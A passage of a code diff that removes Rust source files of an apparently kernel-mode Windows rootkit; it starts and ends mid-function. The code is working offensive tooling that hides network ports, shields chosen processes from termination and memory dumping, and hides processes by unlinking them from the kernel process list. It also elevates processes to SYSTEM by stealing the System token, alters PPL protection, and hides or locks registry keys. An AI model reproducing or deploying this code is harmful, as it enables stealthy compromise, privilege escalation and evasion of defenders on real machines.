|
||||
port_number,
|
||||
enable: true,
|
||||
};
|
||||
|
||||
// If the port is protected, modify the network entries.
|
||||
if check_port(info) {
|
||||
let mut entries_index = i + 1;
|
||||
if entries_index >= count {
|
||||
entries_index = i - 1;
|
||||
}
|
||||
|
||||
// Copies TCP/UDP entries.
|
||||
let entries_slice = from_raw_parts_mut(entries, count);
|
||||
copy(
|
||||
&entries_slice[entries_index],
|
||||
&mut entries_slice[i],
|
||||
count - entries_index,
|
||||
);
|
||||
|
||||
// Verify and copy status_entries.
|
||||
if !status_entries.is_null() {
|
||||
let status_entries_slice = from_raw_parts_mut(status_entries, count);
|
||||
if entries_index < status_entries_slice.len() {
|
||||
copy(
|
||||
&status_entries_slice[entries_index],
|
||||
&mut status_entries_slice[i],
|
||||
count - entries_index,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Check and copy process_entries.
|
||||
if !process_entries.is_null() {
|
||||
let process_entries_slice = from_raw_parts_mut(process_entries, count);
|
||||
if entries_index < process_entries_slice.len() {
|
||||
copy(
|
||||
&process_entries_slice[entries_index],
|
||||
&mut process_entries_slice[i],
|
||||
count - entries_index,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Toggles the addition or removal of a port from the list of protected ports.
|
||||
///
|
||||
/// If the `enable` flag in the `TargetPort` is `true`, the port is added to the list of protected ports.
|
||||
/// Otherwise, the port is removed from the list.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `port` - A mutable pointer to a `TargetPort` structure, containing information about the port
|
||||
/// to be added or removed.
|
||||
///
|
||||
/// # Return
|
||||
///
|
||||
/// * Returns `STATUS_SUCCESS` if the operation is completed successfully or
|
||||
/// `STATUS_UNSUCCESSFUL` if the operation fails (e.g., the port list is full or the port couldn't be removed).
|
||||
pub fn add_remove_port_toggle(port: *mut TargetPort) -> NTSTATUS {
|
||||
if (unsafe { *port }).enable {
|
||||
add_target_port(port)
|
||||
} else {
|
||||
remove_target_port(port)
|
||||
}
|
||||
}
|
||||
|
||||
/// Adds a port to the list of protected ports.
|
||||
///
|
||||
/// This function locks the `PROTECTED_PORTS` list and tries to add the given `TargetPort`.
|
||||
/// If the port is already in the list or the list is full, the operation will fail.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be added.
|
||||
///
|
||||
/// # Return
|
||||
///
|
||||
/// * Returns `STATUS_SUCCESS` if the port is successfully added to the list.
|
||||
/// * Returns `STATUS_DUPLICATE_OBJECTID` if the port already exists in the list.
|
||||
/// * Returns `STATUS_UNSUCCESSFUL` if the port list is full or the operation fails.
|
||||
fn add_target_port(port: *mut TargetPort) -> NTSTATUS {
|
||||
let mut ports = PROTECTED_PORTS.lock();
|
||||
let port = unsafe { *port };
|
||||
|
||||
if ports.len() >= MAX_PORT {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
if ports.contains(&port) {
|
||||
return STATUS_DUPLICATE_OBJECTID;
|
||||
}
|
||||
|
||||
ports.push(port);
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
/// Removes a port from the list of protected ports.
|
||||
///
|
||||
/// This function locks the `PROTECTED_PORTS` list and attempts to remove the specified `TargetPort`.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be removed.
|
||||
///
|
||||
/// # Return
|
||||
///
|
||||
/// * Returns `STATUS_SUCCESS` if the port is successfully removed from the list
|
||||
/// or `STATUS_UNSUCCESSFUL` if the port is not found in the list.
|
||||
fn remove_target_port(port: *mut TargetPort) -> NTSTATUS {
|
||||
let mut ports = PROTECTED_PORTS.lock();
|
||||
(unsafe { *port }).enable = true;
|
||||
|
||||
if let Some(index) = ports.iter().position(|&p| {
|
||||
p.protocol == (unsafe { *port }).protocol
|
||||
&& p.port_type == (unsafe { *port }).port_type
|
||||
&& p.port_number == (unsafe { *port }).port_number
|
||||
}) {
|
||||
ports.remove(index);
|
||||
STATUS_SUCCESS
|
||||
} else {
|
||||
error!("Port {:?} not found in the list", port);
|
||||
STATUS_UNSUCCESSFUL
|
||||
}
|
||||
}
|
||||
|
||||
/// Checks if a port is in the list of protected ports.
|
||||
///
|
||||
/// This function locks the `PROTECTED_PORTS` list and checks whether the given port is in the list.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `port` - A `TargetPort` structure that represents the port to be checked.
|
||||
///
|
||||
/// # Return
|
||||
///
|
||||
/// * Returns `true` if the port is in the protected list, otherwise returns `false`.
|
||||
pub fn check_port(port: TargetPort) -> bool {
|
||||
PROTECTED_PORTS.lock().contains(&port)
|
||||
}
|
||||
@@ -1,124 +0,0 @@
|
||||
use {
|
||||
alloc::vec::Vec,
|
||||
spin::{Lazy, Mutex},
|
||||
common::structs::TargetProcess,
|
||||
winapi::um::winnt::{
|
||||
PROCESS_CREATE_THREAD, PROCESS_TERMINATE,
|
||||
PROCESS_VM_OPERATION, PROCESS_VM_READ
|
||||
},
|
||||
wdk_sys::{
|
||||
*,
|
||||
ntddk::PsGetProcessId,
|
||||
_OB_PREOP_CALLBACK_STATUS::{
|
||||
Type, OB_PREOP_SUCCESS
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
pub struct ProcessCallback;
|
||||
|
||||
const MAX_PID: usize = 100;
|
||||
|
||||
/// Handle for the process callback registration.
|
||||
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut core::ffi::c_void = core::ptr::null_mut();
|
||||
|
||||
/// List of target PIDs protected by a mutex.
|
||||
static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(||
|
||||
Mutex::new(Vec::with_capacity(MAX_PID))
|
||||
);
|
||||
|
||||
impl ProcessCallback {
|
||||
/// Method for adding the list of processes that will have anti-kill / dumping protection.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The identifier of the target process (PID) to be hidden.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating the success or failure of the operation.
|
||||
pub fn add_target_pid(pid: usize) -> NTSTATUS {
|
||||
let mut pids = TARGET_PIDS.lock();
|
||||
|
||||
if pids.len() >= MAX_PID {
|
||||
return STATUS_QUOTA_EXCEEDED;
|
||||
}
|
||||
|
||||
if pids.contains(&pid) {
|
||||
return STATUS_DUPLICATE_OBJECTID;
|
||||
}
|
||||
|
||||
pids.push(pid);
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
/// Method for removing the list of processes that will have anti-kill / dumping protection.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The identifier of the target process (PID) to be hidden.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating the success or failure of the operation.
|
||||
pub fn remove_target_pid(pid: usize) -> NTSTATUS {
|
||||
let mut pids = TARGET_PIDS.lock();
|
||||
|
||||
if let Some(index) = pids.iter().position(|&x| x == pid) {
|
||||
pids.remove(index);
|
||||
STATUS_SUCCESS
|
||||
} else {
|
||||
STATUS_UNSUCCESSFUL
|
||||
}
|
||||
}
|
||||
|
||||
/// Enumerate Processes Protect.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating success or failure of the operation.
|
||||
pub unsafe fn enumerate_protection_processes() -> Vec<TargetProcess> {
|
||||
let mut processes: Vec<TargetProcess> = Vec::new();
|
||||
let process_info = TARGET_PIDS.lock();
|
||||
for i in process_info.iter() {
|
||||
processes.push(TargetProcess {
|
||||
pid: *i,
|
||||
..Default::default()
|
||||
});
|
||||
}
|
||||
|
||||
processes
|
||||
}
|
||||
|
||||
/// The object (process) pre-operation callback function used to filter process opening operations.
|
||||
/// This function is registered as a callback and is called by the operating system before a process opening operation is completed.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `_registration_context` - Pointer to record context (Not used).
|
||||
/// * `info` - Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating the success or failure of the operation.
|
||||
pub unsafe extern "C" fn on_pre_open_process(
|
||||
_registration_context: *mut core::ffi::c_void,
|
||||
info: *mut OB_PRE_OPERATION_INFORMATION,
|
||||
) -> Type {
|
||||
if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 {
|
||||
return OB_PREOP_SUCCESS;
|
||||
}
|
||||
|
||||
let process = (*info).Object as PEPROCESS;
|
||||
let pid = PsGetProcessId(process) as usize;
|
||||
let pids = TARGET_PIDS.lock();
|
||||
|
||||
if pids.contains(&pid) {
|
||||
let mask = !(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE | PROCESS_TERMINATE);
|
||||
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
|
||||
}
|
||||
|
||||
OB_PREOP_SUCCESS
|
||||
}
|
||||
}
|
||||
@@ -1,341 +0,0 @@
|
||||
use {
|
||||
alloc::vec::Vec,
|
||||
spin::{Lazy, Mutex},
|
||||
wdk_sys::{ntddk::*, *,},
|
||||
};
|
||||
|
||||
use {
|
||||
common::structs::TargetProcess,
|
||||
crate::{
|
||||
error::ShadowError,
|
||||
structs::PROCESS_SIGNATURE,
|
||||
lock::with_push_lock_exclusive,
|
||||
offsets::{
|
||||
get_process_lock,
|
||||
get_token_offset,
|
||||
get_signature_offset,
|
||||
get_active_process_link_offset,
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
pub mod callback;
|
||||
pub use callback::*;
|
||||
|
||||
const MAX_PID: usize = 100;
|
||||
|
||||
/// Represents a process in the operating system.
|
||||
///
|
||||
/// The `Process` struct provides a safe abstraction over the `EPROCESS` structure used
|
||||
/// in Windows kernel development. It allows for looking up a process by its PID and ensures
|
||||
/// proper cleanup of resources when the structure goes out of scope.
|
||||
pub struct Process {
|
||||
/// Pointer to the EPROCESS structure, used for managing process information.
|
||||
pub e_process: PEPROCESS,
|
||||
}
|
||||
|
||||
impl Process {
|
||||
/// Creates a new `Process` instance by looking up a process by its PID.
|
||||
///
|
||||
/// This method attempts to find a process using its process identifier (PID). If the process
|
||||
/// is found, it returns an instance of the `Process` structure containing a pointer to the
|
||||
/// `EPROCESS` structure.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The process identifier (PID) of the process to be looked up.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(Self)` - Returns a `Process` instance if the process lookup is successful.
|
||||
/// * `Err(ShadowError)` - Returns an error message if the lookup fails.
|
||||
///
|
||||
/// # Examples
|
||||
///
|
||||
/// ```rust
|
||||
/// let process = Process::new(1234);
|
||||
/// match process {
|
||||
/// Ok(proc) => println!("Process found: {:?}", proc.e_process),
|
||||
/// Err(e) => println!("Error: {}", e),
|
||||
/// }
|
||||
/// ```
|
||||
#[inline]
|
||||
pub fn new(pid: usize) -> Result<Self, ShadowError> {
|
||||
let mut process = core::ptr::null_mut();
|
||||
|
||||
let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut process) };
|
||||
if NT_SUCCESS(status) {
|
||||
Ok(Self { e_process: process })
|
||||
} else {
|
||||
Err(ShadowError::ApiCallFailed("PsLookupProcessByProcessId", status))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Implements the `Drop` trait for the `Process` structure to handle cleanup when the structure goes out of scope.
|
||||
///
|
||||
/// The `Drop` implementation ensures that the reference count on the `EPROCESS` structure
|
||||
/// is properly decremented when the `Process` instance is dropped. This prevents resource leaks.
|
||||
impl Drop for Process {
|
||||
/// Cleans up the resources held by the `Process` structure.
|
||||
///
|
||||
/// This method decrements the reference count of the `EPROCESS` structure when the
|
||||
/// `Process` instance is dropped, ensuring proper cleanup.
|
||||
fn drop(&mut self) {
|
||||
if !self.e_process.is_null() {
|
||||
unsafe { ObfDereferenceObject(self.e_process as _) };
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// List of target processes protected by a mutex.
|
||||
pub static PROCESS_INFO_HIDE: Lazy<Mutex<Vec<TargetProcess>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID)));
|
||||
|
||||
/// This implementation focuses on the hiding and unhiding of processes.
|
||||
impl Process {
|
||||
/// Hides a process by removing it from the active process list in the operating system.
|
||||
///
|
||||
/// This method hides a process by unlinking it from the active process list (`LIST_ENTRY`)
|
||||
/// in the OS. It uses synchronization locks to ensure thread safety while modifying the
|
||||
/// list. Once the process is hidden, it is no longer visible in the system's active process chain.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The process identifier (PID) of the target process to be hidden.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring processes
|
||||
/// in the list before it was modified.
|
||||
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
||||
pub unsafe fn hide_process(pid: usize) -> Result<LIST_ENTRY, ShadowError> {
|
||||
// Getting offsets based on the Windows build number
|
||||
let active_process_link = get_active_process_link_offset();
|
||||
let offset_lock = get_process_lock();
|
||||
|
||||
// Retrieve the EPROCESS structure for the target process
|
||||
let process = Self::new(pid)?;
|
||||
|
||||
// Retrieve the `LIST_ENTRY` for the active process link, which connects the process
|
||||
// to the list of active processes in the system.
|
||||
let current = process.e_process.cast::<u8>().offset(active_process_link) as PLIST_ENTRY;
|
||||
let push_lock = process.e_process.cast::<u8>().offset(offset_lock) as *mut u64;
|
||||
|
||||
// Use synchronization to ensure thread safety while modifying the list
|
||||
with_push_lock_exclusive(push_lock, || {
|
||||
// The next process in the chain
|
||||
let next = (*current).Flink;
|
||||
|
||||
// The previous process in the chain
|
||||
let previous = (*current).Blink;
|
||||
|
||||
// Storing the previous list entry, which will be returned
|
||||
let previous_link = LIST_ENTRY {
|
||||
Flink: next as *mut LIST_ENTRY,
|
||||
Blink: previous as *mut LIST_ENTRY,
|
||||
};
|
||||
|
||||
// Unlink the process from the active list
|
||||
(*next).Blink = previous;
|
||||
(*previous).Flink = next;
|
||||
|
||||
// Make the current list entry point to itself to hide the process
|
||||
(*current).Flink = current;
|
||||
(*current).Blink = current;
|
||||
|
||||
Ok(previous_link)
|
||||
})
|
||||
}
|
||||
|
||||
/// Unhides a process by restoring it to the active process list in the operating system.
|
||||
///
|
||||
/// This method restores a previously hidden process back into the active process list by re-linking
|
||||
/// its `LIST_ENTRY` pointers (`Flink` and `Blink`) to the adjacent processes in the list. The function
|
||||
/// uses synchronization locks to ensure thread safety while modifying the list.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The process identifier (PID) of the target process to be unhidden.
|
||||
/// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring processes in the list,
|
||||
/// which was saved when the process was hidden.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(NTSTATUS)` - Indicates the process was successfully restored to the active list.
|
||||
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
||||
pub unsafe fn unhide_process(pid: usize, list_entry: PLIST_ENTRY) -> Result<NTSTATUS, ShadowError> {
|
||||
// Getting offsets based on the Windows build number
|
||||
let active_process_link = get_active_process_link_offset();
|
||||
let offset_lock = get_process_lock();
|
||||
|
||||
// Retrieve the EPROCESS structure for the target process
|
||||
let process = Self::new(pid)?;
|
||||
|
||||
// Retrieve the `LIST_ENTRY` for the active process link, which connects the process
|
||||
// to the list of active processes in the system.
|
||||
let current = process.e_process.cast::<u8>().offset(active_process_link) as PLIST_ENTRY;
|
||||
let push_lock = process.e_process.cast::<u8>().offset(offset_lock) as *mut u64;
|
||||
|
||||
// Use synchronization to ensure thread safety while modifying the list
|
||||
with_push_lock_exclusive(push_lock, || {
|
||||
// Restore the `Flink` and `Blink` from the saved `list_entry`
|
||||
(*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY;
|
||||
(*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY;
|
||||
|
||||
// Re-link the process to the neighboring processes in the chain
|
||||
let next = (*current).Flink;
|
||||
let previous = (*current).Blink;
|
||||
|
||||
(*next).Blink = current;
|
||||
(*previous).Flink = current;
|
||||
});
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
|
||||
/// Enumerates all currently hidden processes.
|
||||
///
|
||||
/// This function iterates through the list of hidden processes stored in `PROCESS_INFO_HIDE` and returns
|
||||
/// a vector containing their information.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A vector containing the information of all hidden processes.
|
||||
pub unsafe fn enumerate_hide_processes() -> Vec<TargetProcess> {
|
||||
let mut processes: Vec<TargetProcess> = Vec::new();
|
||||
let process_info = PROCESS_INFO_HIDE.lock();
|
||||
for i in process_info.iter() {
|
||||
processes.push(TargetProcess {
|
||||
pid: (*i).pid as usize,
|
||||
..Default::default()
|
||||
});
|
||||
}
|
||||
|
||||
processes
|
||||
}
|
||||
}
|
||||
|
||||
/// This implementation focuses on finishing the process, changing the PPL and elevating the process.
|
||||
impl Process {
|
||||
|
||||
// System process (By default the PID is 4)
|
||||
const SYSTEM_PROCESS: usize = 4;
|
||||
|
||||
/// Elevates a process by setting its token to the system process token.
|
||||
///
|
||||
/// This function raises the token of a process identified by its PID (Process ID)
|
||||
/// to the token of the system process, effectively elevating the privileges of the target process
|
||||
/// to those of the system (NT AUTHORITY\SYSTEM).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The process identifier (PID) of the target process to elevate.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(NTSTATUS)` - Indicates that the token was successfully elevated.
|
||||
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
||||
pub unsafe fn elevate_process(pid: usize) -> Result<NTSTATUS, ShadowError> {
|
||||
// Get the offset for the token in the EPROCESS structure
|
||||
let offset = get_token_offset();
|
||||
|
||||
// Retrieving EPROCESS from the target process
|
||||
let target = Self::new(pid)?;
|
||||
|
||||
// Retrieve the EPROCESS for the system process (PID 4)
|
||||
let system = Self::new(Self::SYSTEM_PROCESS)?;
|
||||
|
||||
// Access the Token field in the EPROCESS structure of both the target and system processes
|
||||
let target_token_ptr = target.e_process.cast::<u8>().offset(offset) as *mut u64;
|
||||
let system_token_ptr = system.e_process.cast::<u8>().offset(offset) as *mut u64;
|
||||
|
||||
// Copy the system process token to the target process
|
||||
target_token_ptr.write(system_token_ptr.read());
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
|
||||
/// Modifies the protection signature (PP / PPL) of a process in the operating system.
|
||||
///
|
||||
/// This method changes the protection signature of a process by adjusting the `SignatureLevel` and `Protection` fields
|
||||
/// in the `EPROCESS` structure. A process can be protected from certain operations, such as termination or privilege escalation,
|
||||
/// depending on the signature level and protection type that are set.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The process identifier (PID) of the target process whose protection signature will be modified.
|
||||
/// * `sg` - The signature level (signer) to be set for the process.
|
||||
/// * `pt` - The protection type to be applied to the process.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(NTSTATUS)` - Returns if the signature and protection levels were successfully updated.
|
||||
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
||||
pub unsafe fn protection_signature(pid: usize, sg: usize, tp: usize) -> Result<NTSTATUS, ShadowError> {
|
||||
// Get the offset for the protection signature within the EPROCESS structure
|
||||
let offset = get_signature_offset();
|
||||
|
||||
// Retrieve the EPROCESS structure for the target process
|
||||
let process = Self::new(pid)?;
|
||||
|
||||
// Create the new protection signature value by combining the signature level and protection type
|
||||
let new_sign = (sg << 4) | tp;
|
||||
let process_signature = process.e_process.cast::<u8>().offset(offset) as *mut PROCESS_SIGNATURE;
|
||||
|
||||
// Modify the signature level and protection type of the target process
|
||||
(*process_signature).SignatureLevel = new_sign as u8;
|
||||
(*process_signature).Protection.SetType(tp as u8);
|
||||
(*process_signature).Protection.SetSigner(sg as u8);
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
|
||||
/// Terminates a process in the operating system using its process identifier (PID).
|
||||
///
|
||||
/// This method terminates a process by first opening a handle to the target process,
|
||||
/// and then calling `ZwTerminateProcess` to end the process.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `pid` - The process identifier (PID) of the process to be terminated.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(NTSTATUS)` - Returns if the process was successfully terminated.
|
||||
/// * `Err(ShadowError)` - Returns an error if any step (opening, terminating, or closing the process) fails.
|
||||
pub unsafe fn terminate_process(pid: usize) -> Result<NTSTATUS, ShadowError> {
|
||||
let mut h_process: HANDLE = core::ptr::null_mut();
|
||||
let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed();
|
||||
let mut client_id = CLIENT_ID {
|
||||
UniqueProcess: pid as _,
|
||||
UniqueThread: core::ptr::null_mut(),
|
||||
};
|
||||
|
||||
// Open a handle to the target process with all access rights
|
||||
let mut status = ZwOpenProcess(
|
||||
&mut h_process,
|
||||
PROCESS_ALL_ACCESS,
|
||||
&mut object_attributes,
|
||||
&mut client_id,
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
|
||||
}
|
||||
|
||||
// Terminate the process with an exit code of 0
|
||||
status = ZwTerminateProcess(h_process, 0);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwTerminateProcess", status));
|
||||
}
|
||||
|
||||
// Close the handle to the process
|
||||
status = ZwClose(h_process);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwClose", status));
|
||||
}
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,413 +0,0 @@
|
||||
#![allow(non_upper_case_globals)]
|
||||
|
||||
use {
|
||||
log::error,
|
||||
alloc::{format, string::String},
|
||||
core::{ffi::c_void, ptr::null_mut},
|
||||
wdk_sys::{
|
||||
*,
|
||||
_MODE::KernelMode,
|
||||
ntddk::{
|
||||
CmCallbackGetKeyObjectIDEx,
|
||||
ObOpenObjectByPointer, ZwClose,
|
||||
CmCallbackReleaseKeyObjectIDEx,
|
||||
},
|
||||
_REG_NOTIFY_CLASS::{
|
||||
RegNtPreQueryKey, RegNtPreSetValueKey,
|
||||
RegNtPreDeleteKey, RegNtPreDeleteValueKey,
|
||||
RegNtPostEnumerateKey, RegNtPostEnumerateValueKey,
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
use {
|
||||
super::{
|
||||
HIDE_KEYS, HIDE_KEY_VALUES,
|
||||
PROTECTION_KEYS, PROTECTION_KEY_VALUES,
|
||||
utils::{
|
||||
RegistryInfo,
|
||||
check_key_value,
|
||||
enumerate_value_key,
|
||||
},
|
||||
},
|
||||
crate::{
|
||||
utils::{pool::PoolMemory, valid_kernel_memory},
|
||||
registry::{
|
||||
Registry,
|
||||
utils::{check_key, enumerate_key},
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
/// Handle for Registry Callback.
|
||||
pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() };
|
||||
|
||||
/// The registry callback function handles registry-related operations based on the notification class.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `_callback_context` - A pointer to the callback context, usually not used.
|
||||
/// * `argument1` - A pointer to the notification class.
|
||||
/// * `argument2` - A pointer to the information related to the registry operation.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating the result of the operation.
|
||||
pub unsafe extern "C" fn registry_callback(
|
||||
_callback_context: *mut c_void,
|
||||
argument1: *mut c_void,
|
||||
argument2: *mut c_void,
|
||||
) -> NTSTATUS {
|
||||
let status;
|
||||
|
||||
let reg_notify_class = argument1 as i32;
|
||||
match reg_notify_class {
|
||||
RegNtPreSetValueKey => {
|
||||
status = pre_set_value_key(argument2 as *mut REG_SET_VALUE_KEY_INFORMATION);
|
||||
},
|
||||
RegNtPreDeleteValueKey => {
|
||||
status = pre_delete_value_key(argument2 as *mut REG_DELETE_VALUE_KEY_INFORMATION);
|
||||
},
|
||||
RegNtPreDeleteKey => {
|
||||
status = pre_delete_key(argument2 as *mut REG_DELETE_KEY_INFORMATION);
|
||||
},
|
||||
RegNtPreQueryKey => {
|
||||
status = pre_query_key(argument2 as *mut REG_QUERY_KEY_INFORMATION);
|
||||
},
|
||||
RegNtPostEnumerateKey => {
|
||||
status = post_enumerate_key(argument2 as *mut REG_POST_OPERATION_INFORMATION);
|
||||
},
|
||||
RegNtPostEnumerateValueKey => {
|
||||
status = post_enumerate_key_value(argument2 as *mut REG_POST_OPERATION_INFORMATION);
|
||||
}
|
||||
_ => return STATUS_SUCCESS,
|
||||
}
|
||||
|
||||
status
|
||||
}
|
||||
|
||||
/// Handles the pre-delete key operation.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `info` - A pointer to `REG_DELETE_KEY_INFORMATION`.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating success or failure.
|
||||
unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
|
||||
let status;
|
||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
let key = match read_key(info) {
|
||||
Ok(key) => key,
|
||||
Err(err) => return err
|
||||
};
|
||||
|
||||
status = if Registry::check_key(key, PROTECTION_KEYS.lock()) {
|
||||
STATUS_ACCESS_DENIED
|
||||
} else {
|
||||
STATUS_SUCCESS
|
||||
};
|
||||
|
||||
status
|
||||
}
|
||||
|
||||
/// Performs the post-operation to enumerate registry key values.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `info` - Pointer to the information structure of the post-execution logging operation.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`.
|
||||
unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
|
||||
if !NT_SUCCESS((*info).Status) {
|
||||
return (*info).Status
|
||||
}
|
||||
|
||||
let key = match read_key(info) {
|
||||
Ok(key) => key,
|
||||
Err(err) => return err
|
||||
};
|
||||
|
||||
if !check_key_value(info, key.clone()) {
|
||||
return STATUS_SUCCESS
|
||||
}
|
||||
|
||||
let pre_info = match ((*info).PreInformation as *mut REG_ENUMERATE_VALUE_KEY_INFORMATION).as_ref() {
|
||||
Some(pre_info) => pre_info,
|
||||
None => return STATUS_SUCCESS,
|
||||
};
|
||||
|
||||
let mut key_handle = null_mut();
|
||||
let status = ObOpenObjectByPointer(
|
||||
(*info).Object,
|
||||
OBJ_KERNEL_HANDLE,
|
||||
null_mut(),
|
||||
KEY_ALL_ACCESS,
|
||||
*CmKeyObjectType,
|
||||
KernelMode as i8,
|
||||
&mut key_handle
|
||||
);
|
||||
|
||||
if !NT_SUCCESS(status) {
|
||||
error!("ObOpenObjectByPointer Failed With Status: {status}");
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
|
||||
Some(mem) => mem.ptr as *mut u8,
|
||||
None => {
|
||||
error!("PoolMemory (Enumerate Key) Failed");
|
||||
ZwClose(key_handle);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
};
|
||||
|
||||
let mut result_length = 0;
|
||||
let mut counter = 0;
|
||||
|
||||
while let Some(value_name) = enumerate_value_key(
|
||||
key_handle,
|
||||
pre_info.Index + counter,
|
||||
buffer,
|
||||
(*pre_info).Length,
|
||||
(*pre_info).KeyValueInformationClass,
|
||||
&mut result_length
|
||||
) {
|
||||
if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) {
|
||||
if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut() {
|
||||
*(*pre_info).ResultLength = result_length;
|
||||
core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize);
|
||||
break;
|
||||
} else {
|
||||
error!("Failed to copy key information.");
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
counter += 1;
|
||||
}
|
||||
}
|
||||
|
||||
ZwClose(key_handle);
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
/// Performs the post-operation to enumerate registry keys.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `info` - Pointer to the information structure of the post-execution logging operation.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns the status of the operation, keeping the original status if the previous operation failed.
|
||||
unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
|
||||
if !NT_SUCCESS((*info).Status) {
|
||||
return (*info).Status
|
||||
}
|
||||
|
||||
let key = match read_key(info) {
|
||||
Ok(key) => key,
|
||||
Err(err) => return err
|
||||
};
|
||||
|
||||
if !check_key(info, key.clone()) {
|
||||
return STATUS_SUCCESS
|
||||
}
|
||||
|
||||
let pre_info = match ((*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION).as_ref() {
|
||||
